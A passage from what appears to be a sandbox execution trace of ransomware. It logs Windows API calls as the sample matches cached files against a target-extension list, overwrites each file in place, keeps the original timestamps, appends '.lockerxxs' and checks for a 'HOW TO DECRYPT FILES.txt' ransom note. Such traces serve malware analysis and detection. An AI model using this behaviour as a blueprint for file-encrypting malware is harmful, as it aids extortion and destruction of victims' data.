HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.myo") returned 0 [0082.950] lstrlenA (lpString="*.myo") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qbw") returned 0 [0082.950] lstrlenA (lpString="*.qbw") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qbb") returned 0 [0082.950] lstrlenA (lpString="*.qbb") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qbm") returned 0 [0082.950] lstrlenA (lpString="*.qbm") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qbo") returned 0 [0082.950] lstrlenA (lpString="*.qbo") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qbx") returned 0 [0082.950] lstrlenA (lpString="*.qbx") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qba") returned 0 [0082.950] lstrlenA (lpString="*.qba") returned 5 [0082.950] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qby") returned 0 [0082.950] lstrlenA (lpString="*.qby") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qbj") returned 0 [0082.951] lstrlenA (lpString="*.qbj") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.ofx") returned 0 [0082.951] lstrlenA (lpString="*.ofx") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.qif") returned 0 [0082.951] lstrlenA (lpString="*.qif") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.mye") returned 0 [0082.951] lstrlenA (lpString="*.mye") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.mbox") returned 0 [0082.951] lstrlenA (lpString="*.mbox") returned 6 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.eml") returned 0 [0082.951] lstrlenA (lpString="*.eml") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.pst") returned 0 [0082.951] lstrlenA (lpString="*.pst") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.ost") returned 0 [0082.951] lstrlenA (lpString="*.ost") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.idx") returned 0 [0082.951] lstrlenA (lpString="*.idx") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.dbx") returned 0 [0082.951] lstrlenA (lpString="*.dbx") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.sql") returned 0 [0082.951] lstrlenA (lpString="*.sql") returned 5 [0082.951] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.mdb") returned 0 [0082.951] lstrlenA (lpString="*.mdb") returned 5 [0082.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.fdb") returned 0 [0082.952] lstrlenA (lpString="*.fdb") returned 5 [0082.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.wab") returned 0 [0082.952] lstrlenA (lpString="*.wab") returned 5 [0082.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.dat") returned 0 [0082.952] lstrlenA (lpString="*.dat") returned 5 [0082.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.txt") returned 0 [0082.952] lstrlenA (lpString="*.txt") returned 5 [0082.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.jpeg") returned 0 [0082.952] lstrlenA (lpString="*.jpeg") returned 6 [0082.952] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", pszSpec="*.jpg") returned 1 [0082.952] lstrlenA (lpString="*.jpg") returned 5 [0082.952] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" [0082.952] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" [0082.952] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg." [0082.952] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.lockerxxs" [0082.952] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.953] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x878 [0082.953] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x515e8570, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x515e8570, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x515e8570, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.953] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.953] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x852, lpOverlapped=0x0) returned 1 [0082.955] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg") returned="BBBUqkT[1].jpg" [0082.955] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.955] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x852, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x852, lpOverlapped=0x0) returned 1 [0082.956] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.956] CloseHandle (hObject=0xa4) returned 1 [0082.956] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbuqkt[1].jpg.lockerxxs")) returned 1 [0082.957] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f59090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f59090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f59090, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBUqkT[2].jpg", cAlternateFileName="BBBUQK~2.JPG")) returned 1 [0082.957] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBUqkT[2].jpg") returned 1 [0082.957] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBUqkT[2].jpg") returned 1 [0082.957] lstrcmpiA (lpString1="", lpString2="BBBUqkT[2].jpg") returned -1 [0082.957] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[1].jpg") returned="BBBUqkT[1].jpg" [0082.957] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.957] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.957] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.957] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.957] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBUqkT[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" [0082.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.ems") returned 0 [0082.957] lstrlenA (lpString="*.ems") returned 5 [0082.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.db") returned 0 [0082.957] lstrlenA (lpString="*.db") returned 4 [0082.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.dbf") returned 0 [0082.958] lstrlenA (lpString="*.dbf") returned 5 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.myox") returned 0 [0082.958] lstrlenA (lpString="*.myox") returned 6 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.myo") returned 0 [0082.958] lstrlenA (lpString="*.myo") returned 5 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qbw") returned 0 [0082.958] lstrlenA (lpString="*.qbw") returned 5 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qbb") returned 0 [0082.958] lstrlenA (lpString="*.qbb") returned 5 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qbm") returned 0 [0082.958] lstrlenA (lpString="*.qbm") returned 5 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qbo") returned 0 [0082.958] lstrlenA (lpString="*.qbo") returned 5 [0082.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qbx") returned 0 [0082.958] lstrlenA (lpString="*.qbx") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qba") returned 0 [0082.959] lstrlenA (lpString="*.qba") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qby") returned 0 [0082.959] lstrlenA (lpString="*.qby") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qbj") returned 0 [0082.959] lstrlenA (lpString="*.qbj") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.ofx") returned 0 [0082.959] lstrlenA (lpString="*.ofx") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.qif") returned 0 [0082.959] lstrlenA (lpString="*.qif") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.mye") returned 0 [0082.959] lstrlenA (lpString="*.mye") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.mbox") returned 0 [0082.959] lstrlenA (lpString="*.mbox") returned 6 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.eml") returned 0 [0082.959] lstrlenA (lpString="*.eml") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.pst") returned 0 [0082.959] lstrlenA (lpString="*.pst") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.ost") returned 0 [0082.959] lstrlenA (lpString="*.ost") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.idx") returned 0 [0082.959] lstrlenA (lpString="*.idx") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.dbx") returned 0 [0082.959] lstrlenA (lpString="*.dbx") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.sql") returned 0 [0082.959] lstrlenA (lpString="*.sql") returned 5 [0082.959] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.mdb") returned 0 [0082.960] lstrlenA (lpString="*.mdb") returned 5 [0082.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.fdb") returned 0 [0082.960] lstrlenA (lpString="*.fdb") returned 5 [0082.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.wab") returned 0 [0082.960] lstrlenA (lpString="*.wab") returned 5 [0082.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.dat") returned 0 [0082.960] lstrlenA (lpString="*.dat") returned 5 [0082.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.txt") returned 0 [0082.960] lstrlenA (lpString="*.txt") returned 5 [0082.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.jpeg") returned 0 [0082.960] lstrlenA (lpString="*.jpeg") returned 6 [0082.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", pszSpec="*.jpg") returned 1 [0082.960] lstrlenA (lpString="*.jpg") returned 5 [0082.960] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" [0082.960] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg" [0082.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBUqkT[2].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS 